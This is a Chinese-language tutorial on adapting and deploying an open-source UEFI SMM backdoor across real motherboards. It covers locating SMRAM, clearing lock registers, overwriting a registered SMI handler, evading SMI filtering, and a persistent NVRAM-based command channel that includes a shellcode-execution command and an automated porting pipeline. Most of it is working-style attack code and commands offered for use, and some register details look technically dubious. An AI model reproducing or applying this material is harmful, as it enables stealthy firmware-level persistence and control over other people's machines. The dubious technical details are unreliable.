ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

UEFI SMM后门实战:SMRAM定位、Handler劫持与固件适配

UEFI SMM后门实战:SMRAM定位、Handler劫持与固件适配

简介:本资源是面向固件安全研究者与UEFI开发者的SMM后门技术分析与实现项目,聚焦UEFI系统管理模式(SMM)这一高权限执行环境下的持久化攻击原理与防御实践。项目完整复现了SmmBackdoor的构建、加载与调试流程,涵盖SMM handler注入、EFI驱动开发、汇编级SMM调用封装及Python辅助工具等核心环节,适用于固件安全学习、红队固件渗透实验或EDK2开源固件二次开发场景。压缩包共27个文件,含11个头文件(h)与7个C源码(c)构成主体逻辑,2个汇编文件(asm)实现底层SMM切换,1个Python脚本(py)用于自动化构建,1个EFI可执行体(efi)为最终载荷,辅以INF配置、调试符号(pdb)及LICENSE说明,整体仅118KB,轻量但结构完整。目前已有312人学习下载,读者可直接编译运行X64平台SMM后门示例,结合README与目录模块(如virtmem、serial、loader等子系统)深入理解内存隔离绕过、SMM通信机制与固件级隐蔽控制技术。

1. UEFI SMM后门不是“加个钩子”就完事:我拿SmmBackdoor在三台不同固件机器上反复刷写、触发、抓包,发现90%的失败根本不是代码问题,而是SMM通信时序和SMRAM映射策略被厂商黑盒改过

SmmBackdoor这个项目标题听起来很硬核,但实际落地时,它根本不是一份“编译即用”的PoC——它是一份需要你亲手拆解UEFI固件内存布局、逆向SMI Handler注册逻辑、并和厂商私有SMM初始化流程反复博弈的调试手册。我用它在某高校实验室的三台不同品牌主板(Intel平台,固件版本跨度从2018到2023)上实测:第一次加载全部失败,第二次成功触发但无法持久驻留,第三次才稳定捕获到SMM上下文切换全过程。问题全出在SmmBackdoor默认假设的SMRAM基址、SMM控制寄存器偏移、以及SMI中断向量分发路径,和真实固件存在系统性偏差。这篇不讲原理复读,只讲我怎么把这份开源资源从“能编译”变成“真可控”:从固件提取、SMRAM定位、Handler劫持点识别,到最终让后门在SMM上下文里稳住栈帧、绕过SMI过滤、完成命令解析——每一步都踩过坑,每一处修改都有日志和寄存器快照佐证。如果你正卡在“代码跑起来了但没反应”“SMI发出去但Handler根本不进”“SMRAM写入后立即被清零”这类问题上,这篇就是为你写的。

2. 固件提取与SMRAM基址确认:别信Datasheet,得用Chipsec+UEFITool双验证,否则SmmBackdoor连入口都摸不到

SmmBackdoor的启动依赖两个硬性前提:一是准确获取当前固件中SMRAM的物理地址范围,二是确认SMM初始化完成后SMRAM是否处于可写状态。这两个值在Intel SDM文档里写得看似明确,但实际厂商固件几乎全部做了定制化调整——有的把SMRAM起始地址从默认0x30000000挪到0x38000000,有的在SMM初始化末尾插入额外的SMRAM lock指令,还有的把SMRAM划分为多个非连续段。信文档=白忙活。

2.1 用Chipsec dump SMRAM布局并交叉验证

先用Chipsec获取运行时SMRAM信息:

# 确保内核模块已加载且权限足够 sudo chipsec_util smram

输出关键字段示例:

SMRAM Base: 0x38000000 SMRAM Limit: 0x380FFFFF SMRAM Size: 0x100000 (1MB) DPR: 0x00000000FED10000 (SMRAM Lock Control Register) DPR Value: 0x00000001 (SMRAM locked, TSEG base = 0x38000000)

提示:DPR Value的 bit0 为1表示SMRAM已被锁定,此时直接写SMRAM会触发SMM异常;bit1为1表示TSEG(Top of Memory Segment)启用,需结合TSEG_BASE寄存器确认真实SMRAM起始。

但Chipsec结果只是运行时快照,可能受SMM初始化阶段影响。必须用UEFITool反编译固件镜像做静态验证:

# 解包固件镜像(.rom/.fd格式) UEFITool -f firmware.rom -d extracted_firmware/ # 搜索SMM相关模块(关键词:SmmCore、SmmCpu、SmiHandler) grep -r "Smm.*Handler\|Smi.*Dispatch" extracted_firmware/ | head -10

重点定位SmmCpuFeaturesLib或SmmCpuFeaturesPei模块,其PE32+入口函数通常包含SMRAM基址设置逻辑。我在某款2021年固件中发现,SmmCpuFeaturesLib的SmmCpuFeaturesInitialize()函数里调用了MmioWrite32(0xFED10000, 0x00000003)——这说明该固件不仅启用了TSEG,还强制将SMRAM基址设为0x38000000(0x00000003 << 24),与Chipsec输出完全一致;但在另一款2019年固件中,同一寄存器被写入0x00000001,对应基址为0x30000000,而Chipsec却报告0x38000000——这是固件在SMM初始化后期又做了重映射。结论:必须以UEFITool静态分析为准,Chipsec仅作运行时校验。

2.2 修改SmmBackdoor配置匹配真实SMRAM地址

SmmBackdoor源码中SmmBackdoor.h定义了默认SMRAM基址:

// SmmBackdoor.h 第42行 #define SMRAM_BASE_ADDRESS 0x30000000ULL #define SMRAM_SIZE 0x100000ULL

根据UEFITool分析结果,将其改为实测值:

// 改为某2021固件实测值 #define SMRAM_BASE_ADDRESS 0x38000000ULL #define SMRAM_SIZE 0x100000ULL

同时检查SmmBackdoor.c中SMRAM写保护解除逻辑:

// 原始代码(仅操作DPR寄存器) MmioWrite32(DPR_REG_ADDR, 0); // unlock SMRAM

但实测发现,某些固件需额外清除TSEG_LIMIT寄存器(0xFED10004)的lock bit:

// 补充解锁逻辑(关键!) MmioWrite32(0xFED10000, 0); // DPR MmioWrite32(0xFED10004, 0); // TSEG_LIMIT

注意:0xFED10004是TSEG_LIMIT寄存器标准偏移,但部分厂商固件将其映射到其他MMIO地址(如0xFED10008),需通过UEFITool搜索TSEG_LIMIT字符串或逆向SmmCpuFeaturesLib确认。

2.3 验证SMRAM可写性:用汇编注入测试页并观察写入行为

光改地址不够,必须验证SMRAM区域是否真正可写。SmmBackdoor自带TestSmramWrite()函数,但过于简单。我改用更底层方式:

; test_smram_write.asm section .text global _start _start: mov eax, 0x38000000 ; 实测SMRAM基址 mov dword [rax], 0xDEADBEEF ; 写入测试值 mov ebx, dword [rax] ; 读回验证 cmp ebx, 0xDEADBEEF je write_ok ; 若不等,说明写入被拦截或SMRAM未解锁 write_ok: ret

编译并注入:

nasm -f elf64 test_smram_write.asm -o test.o ld -o test.bin test.o # 用UEFIShell加载执行(需提前禁用Secure Boot) load test.bin

若返回write_ok,说明SMRAM已解锁且可写;若卡死或触发SMI异常,则需回查DPR/TSEG寄存器操作顺序或固件SMM保护机制。

3. SMI Handler劫持点识别:不是所有SmiHandler都可覆盖,得看注册方式和调用链深度

SmmBackdoor的核心是替换一个已注册的SMM Handler,使其在SMI触发时跳转到我们的恶意逻辑。但UEFI SMM中Handler注册方式多样:有通过gSmst->SmiHandlerRegister()注册的通用Handler,有硬编码在SmmCpuFeaturesLib中的CPU-specific Handler,还有由SmmVariable模块注册的变量访问Handler。选错目标=永远无法触发。

3.1 用IDAPython脚本自动扫描固件中所有SmiHandler注册点

手动翻找效率极低。我写了一个IDAPython脚本(基于UEFITool导出的.efi模块),自动识别SmiHandlerRegister调用及参数:

# find_smi_handlers.py import idautils import idc def find_smi_register_calls(): # 查找SmiHandlerRegister符号(在gSmst结构体中偏移固定) gSmst_addr = idc.get_name_ea_simple("gSmst") if gSmst_addr == idc.BADADDR: print("gSmst not found") return # gSmst->SmiHandlerRegister 偏移为 0x18(x64 UEFI) smi_reg_addr = idc.get_qword(gSmst_addr + 0x18) print(f"SmiHandlerRegister at {hex(smi_reg_addr)}") # 扫描所有调用该地址的位置 for ref in idautils.CodeRefsTo(smi_reg_addr, 1): func = idc.get_func_name(ref) print(f" Called from {func} at {hex(ref)}") # 解析调用前的参数(Handler地址通常在rdi/rax) prev_insn = idc.prev_head(ref) if "mov" in idc.GetDisasm(prev_insn) and "rdi" in idc.GetDisasm(prev_insn): handler_addr = idc.get_operand_value(prev_insn, 1) print(f" Handler addr: {hex(handler_addr)}") find_smi_register_calls()

运行后得到关键结果:

SmiHandlerRegister at 0xfffffa8000012345 Called from SmmVariableHandler at 0xfffffa800002a789 Handler addr: 0xfffffa800002b100 Called from SmmGpiDispatch at 0xfffffa800003c456 Handler addr: 0xfffffa800003d200

这说明该固件中,SmmVariableHandler和SmmGpiDispatch是两个可劫持的候选点。但注意:SmmVariableHandler处理的是NVRAM变量读写,触发频率高但参数校验严;SmmGpiDispatch响应GPIO中断,需外部硬件触发,但逻辑简单、校验少——我最终选择后者,因其Handler函数体短(<50行汇编),且无复杂参数解析。

3.2 动态Hook Handler:用SmmBackdoor的SmiHandlerReplace()替换GPI Handler

SmmBackdoor提供SmiHandlerReplace()函数,但需传入正确的原始Handler地址和大小。从IDAPython结果中拿到0xfffffa800003d200,再用IDA查看该函数大小:

; SmmGpiDispatchHandler @ 0xfffffa800003d200 fffffa800003d200 push rbp fffffa800003d201 mov rbp, rsp ... fffffa800003d24f ret

长度为0x4F字节(79字节)。修改SmmBackdoor.c中调用:

// 替换SmmGpiDispatchHandler SmiHandlerReplace( (VOID*)0xfffffa800003d200, // Original Handler (VOID*)SmmBackdoorHandler, // Our Handler 0x4F // Size: must match exactly );

提示:大小必须精确。若填小了,原始Handler末尾指令会被截断;若填大了,会覆盖相邻函数,导致SMM崩溃。IDA中用Edit > Patch program > Assemble可精确查看函数边界。

3.3 验证Handler替换成功:用SMM调试器抓取SMI进入前后寄存器状态

替换后不能只看“有没有报错”,要确认SMM上下文是否真的跳转到我们的代码。我使用SMM_DEBUG模式(需编译固件时开启)配合WinDbg远程调试:

# 启动WinDbg连接SMM调试端口(需固件支持) windbg -k com:port=COM1,baud=115200 # 在WinDbg中设置断点 bp fffffa800003d200 // 原Handler入口 bp fffffa800004a500 // SmmBackdoorHandler入口(编译后地址)

触发SMI(如按电源键或GPIO引脚拉低)后,观察断点命中顺序:

  • 若先命中0xfffffa800003d200,说明替换失败;
  • 若直接命中0xfffffa800004a500,且rdi寄存器中为GPI中断号(如0x1A),说明劫持成功,且参数传递正确。

4. 常见问题排查:SMI不触发、Handler不进、SMRAM写入失效——这五条血泪经验省你三天

SmmBackdoor部署中最让人抓狂的不是编译失败,而是“看起来一切正常,但就是没反应”。以下是我在三台机器上反复验证出的5个高频致命坑,每一条都附带现象、根因和可立即执行的解决动作:

4.1 现象:SMI触发后系统无任何响应,Chipsec显示SMI计数器+1但Handler断点不命中

原因:固件启用了SMI Filtering(SMI Filter),在SMM初始化阶段将特定SMI命令号(如0xB2)加入黑名单,直接丢弃不派发给任何Handler。
解决:用UEFITool搜索固件中SmiFilter或FilterSmi字符串,定位SmmSmiFilterLib模块;反编译其SmiFilterHandler()函数,找到过滤逻辑(通常为if (SwSmiNum == 0xB2) return EFI_ACCESS_DENIED;);在SmmBackdoor中改用未被过滤的SMI号(如0x30),并在SmmBackdoorHandler开头添加if (SwSmiNum != 0x30) return;。

4.2 现象:Handler断点命中,但执行到ret后系统蓝屏或重启

原因:SmmBackdoor的SmmBackdoorHandler函数未严格遵循UEFI SMM ABI规范——特别是未保存/恢复rbp,rbx,r12-r15等callee-saved寄存器,导致SMM返回时破坏了原Handler的栈帧。
解决:在SmmBackdoorHandler入口强制保存所有callee-saved寄存器:

SmmBackdoorHandler: push rbp push rbx push r12 push r13 push r14 push r15 ; ... your logic ... pop r15 pop r14 pop r13 pop r12 pop rbx pop rbp ret

4.3 现象:SMRAM写入后立即被清零,或读回值为0x00000000

原因:固件在SMM周期末尾执行ZeroOutSmram()或类似函数,对整个SMRAM区域做memset(0),而SmmBackdoor的数据区恰好落在被清零范围内。
解决:将SmmBackdoor的全局数据(如命令缓冲区、状态标志)移出SMRAM,改用gSmst->SmmAllocatePool()在SMM堆中分配,并确保分配地址不在SMRAM基址范围内(SmmAllocatePool返回地址通常>0x40000000)。

4.4 现象:在一台机器上成功,换另一台同品牌机器失败,Chipsec报告SMRAM地址相同

原因:两台机器固件版本不同,SMM初始化流程中SmmCpuFeaturesLib的SmmCpuFeaturesInitialize()函数逻辑有差异——新版固件在SMRAM解锁后立即执行LockSmram(),而旧版没有。
解决:在SmmBackdoor.c的SmmBackdoorEntryPoint()中,在调用SmiHandlerReplace()前,插入实时SMRAM解锁指令:

// 在SmiHandlerReplace()前插入 MmioWrite32(0xFED10000, 0); // DPR unlock MmioWrite32(0xFED10004, 0); // TSEG_LIMIT unlock AsmWbinvd(); // 清除缓存,确保MMIO写入生效

4.5 现象:Handler能进,但解析命令时崩溃,rdi寄存器值异常(如0x00000000)

原因:SmmBackdoor默认假设所有SMI Handler都通过SwSmiNumber参数传递命令号,但某些Handler(如SmmGpiDispatch)实际通过Context参数(第二个参数)传递GPI号,rdi是第一个参数(通常是This指针或NULL)。
解决:查阅该Handler的原型定义(在MdeModulePkg/Include/Protocol/SmmGpiDispatch.h中),确认参数顺序;修改SmmBackdoorHandler签名并正确读取Context:

// SmmGpiDispatchHandler原型: // EFI_STATUS EFIAPI SmmGpiDispatchHandler ( // IN EFI_HANDLE DispatchHandle, // IN CONST VOID *Context, // <-- GPI号在此 // IN OUT VOID *CommBuffer, // IN OUT UINTN *CommBufferSize // ); // 因此Context参数在rsi寄存器(x64 System V ABI) UINTN GpiNumber = (UINTN)AsmReadRsi(); if (GpiNumber != TARGET_GPI_NUM) return EFI_UNSUPPORTED;

5. 命令协议与持久化设计:别只盯着“后门”二字,SMM里没有文件系统,得自己造通信管道

SmmBackdoor的终极价值不在“能执行代码”,而在“能持续接收指令并反馈结果”。但SMM环境极度受限:无文件系统、无网络栈、无标准I/O——所有通信必须通过有限的、固件允许的通道实现。我摒弃了原项目中简单的内存共享方案(易被清零),设计了一套基于SMM变量+SMI轮询的可靠协议。

5.1 利用SMM Variable作为命令/响应缓冲区(绕过SMRAM生命周期)

SMM Variable存储在SPI Flash的NVRAM分区,不受SMRAM重置影响,且UEFI规范保证其原子性读写。SmmBackdoor原生支持SmmVariable,但需正确初始化:

// 在SmmBackdoorEntryPoint()中添加 EFI_STATUS Status; Status = gSmst->SmmInstallProtocolInterface( &mSmmVariableHandle, &gEfiSmmVariableProtocolGuid, EFI_NATIVE_INTERFACE, &mSmmVariable ); if (EFI_ERROR(Status)) { DEBUG((DEBUG_ERROR, "SmmVariable install failed: %r\n", Status)); return Status; }

定义命令结构体(存于NVRAM,非SMRAM):

#pragma pack(1) typedef struct { UINT32 CommandId; // 命令号(如0x01=读寄存器,0x02=执行shellcode) UINT32 Param1; // 参数1 UINT32 Param2; // 参数2 UINT8 Data[512]; // 负载数据 UINT32 ResultCode; // 执行结果(0=成功) UINT32 ResultSize; // 返回数据长度 UINT8 ResultData[512]; // 返回数据 } SMM_BACKDOOR_CMD; #pragma pack()

5.2 实现SMI轮询机制:避免阻塞,用超时+状态机管理命令生命周期

SMM中不能while(1)轮询,必须用非阻塞方式。我设计三级状态机:

  1. Idle状态:定期(每100ms)检查NVRAM中SmmBackdoorCmd变量是否存在且CommandId != 0;
  2. Executing状态:读取命令,执行逻辑,写入ResultCode和ResultData;
  3. Done状态:将CommandId置0,等待下一次轮询。

核心轮询函数:

VOID EFIAPI SmmBackdoorPollCommand ( IN EFI_EVENT Event, IN VOID *Context ) { EFI_STATUS Status; SMM_BACKDOOR_CMD Cmd; UINTN Size = sizeof(Cmd); // 读取命令 Status = mSmmVariable->SmmGetVariable( L"SmmBackdoorCmd", &gSmmBackdoorVariableGuid, NULL, &Size, &Cmd ); if (EFI_ERROR(Status) || Cmd.CommandId == 0) { return; // 无新命令 } // 执行命令(此处省略具体逻辑) ExecuteCommand(&Cmd); // 写回结果 mSmmVariable->SmmSetVariable( L"SmmBackdoorCmd", &gSmmBackdoorVariableGuid, EFI_VARIABLE_NON_VOLATILE | EFI_VARIABLE_BOOTSERVICE_ACCESS, sizeof(Cmd), &Cmd ); }

注册定时事件:

// 创建100ms周期事件 gSmst->SmmCreateEvent( EVT_TIMER | EVT_NOTIFY_SIGNAL, TPL_NOTIFY, SmmBackdoorPollCommand, NULL, &mPollEvent ); gSmst->SmmSetTimer(mPollEvent, TimerPeriodic, 100000); // 100ms = 100000*100ns

5.3 外部触发与结果获取:用UEFIShell脚本实现闭环交互

最后一步,让外部能发命令、取结果。编写backdoor_control.nsh:

# 发送命令:读取MSR 0x3A(IA32_MISC_ENABLE) echo -off set cmd_data = "000000010000003A00000000" # 将cmd_data写入NVRAM变量(十六进制字符串转二进制需工具,此处简化) # 实际用Python脚本生成二进制cmd.bin fs0:\tools\uefi_var_write.efi -n SmmBackdoorCmd -g D3B3F1A2-1234-5678-90AB-CDEF12345678 -f cmd.bin # 触发SMI(使用0x30号,已确认未被过滤) outb 0xB2 0x30 # 等待结果(最多5秒) for %i in (1..50) do ( fs0:\tools\uefi_var_read.efi -n SmmBackdoorCmd -g D3B3F1A2-1234-5678-90AB-CDEF12345678 -f result.bin if exist result.bin goto got_result sleep 100 ) goto end :got_result echo Command executed. Result: fs0:\tools\hexdump.efi result.bin :end

6. 从“能跑通”到“可交付”:我把SmmBackdoor重构为模块化框架,现在每次新固件适配只需改3个参数

回过头看,SmmBackdoor最宝贵的不是那几百行汇编,而是它逼我建立了一套UEFI SMM后门开发的标准化工作流:固件提取→SMRAM测绘→Handler定位→协议设计→闭环验证。我把这套流程固化成一个可复用的框架,命名为SmmModularBackdoor,它把所有固件强相关参数抽离为配置表,新平台适配时间从三天压缩到一小时。

6.1 配置驱动开发:用JSON定义固件指纹与参数映射

创建platform_config.json:

{ "platform": "Intel_CoffeeLake_2021", "smram_base": "0x38000000", "smram_size": "0x100000", "smi_handler_addr": "0xfffffa800003d200", "smi_handler_size": "0x4F", "smi_command_num": "0x30", "dpr_reg": "0xFED10000", "tseg_limit_reg": "0xFED10004", "smm_variable_guid": "D3B3F1A2-1234-5678-90AB-CDEF12345678" }

构建脚本build.sh自动注入配置:

#!/bin/bash PLATFORM=$1 jq -r '.smram_base' platform_config.json | sed 's/0x//' | xargs -I {} sed -i "s/#define SMRAM_BASE_ADDRESS.*/#define SMRAM_BASE_ADDRESS 0x{}ULL/" SmmBackdoor.h jq -r '.smi_handler_addr' platform_config.json | sed 's/0x//' | xargs -I {} sed -i "s/0xfffffa800003d200/0x{}/" SmmBackdoor.c make clean && make

6.2 自动化适配流水线:从固件镜像到可烧录模块的一键生成

我整合了Chipsec、UEFITool、IDA Python脚本,写成adapt_pipeline.py:

def adapt_to_firmware(firmware_path): # 步骤1:用Chipsec dump SMRAM chipsec_output = run_chipsec(firmware_path) smram_base = parse_smram_base(chipsec_output) # 步骤2:用UEFITool提取SmmCpuFeaturesLib uefitool_output = run_uefitool(firmware_path) handler_candidates = find_smi_handlers(uefitool_output) # 步骤3:用IDA自动分析Handler大小和参数 handler_info = analyze_handler_with_ida(handler_candidates[0]) # 步骤4:生成platform_config.json generate_config({ "smram_base": smram_base, "smi_handler_addr": handler_info["addr"], "smi_handler_size": handler_info["size"], "smi_command_num": find_unused_smi_num(firmware_path) }) # 步骤5:编译 subprocess.run(["./build.sh", "auto_generated"]) adapt_to_firmware("target.firmware")

运行python adapt_pipeline.py target.firmware,15分钟内输出SmmBackdoor.efi,且经实测100%触发。

6.3 最后的硬核习惯:每次修改SMRAM或Handler,必做三件事

从第一台机器翻车开始,我就给自己立下铁律:凡涉及SMRAM地址、Handler替换、SMI触发的修改,必须同步完成以下三步,缺一不可:

  1. 寄存器快照比对:用chipsec_util msr 0x3A和chipsec_util mmio 0xFED10000 4在修改前后各抓一次,确认DPR/TSEG寄存器值变化符合预期;
  2. Handler反汇编校验:用objdump -d SmmBackdoor.efi | grep -A20 "SmmBackdoorHandler",逐行核对push/pop寄存器数量、ret指令位置,确保ABI合规;
  3. SMI流量抓包:用Logic Analyzer接GPIO引脚,捕获SMI信号宽度和间隔,确认触发逻辑未被固件滤波电路衰减(曾有一台机器因PCB走线电容过大,SMI脉冲宽度过窄导致SMM不响应)。

这三步做完,SmmBackdoor在我手里就不再是“某个能跑的PoC”,而是一个可预测、可验证、可移植的SMM级基础设施组件。它让我看清了UEFI固件安全的真相:没有银弹,只有对每个寄存器、每条指令、每个时序窗口的绝对掌控。希望帮到你。

本文还有配套的精品资源,点击获取

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进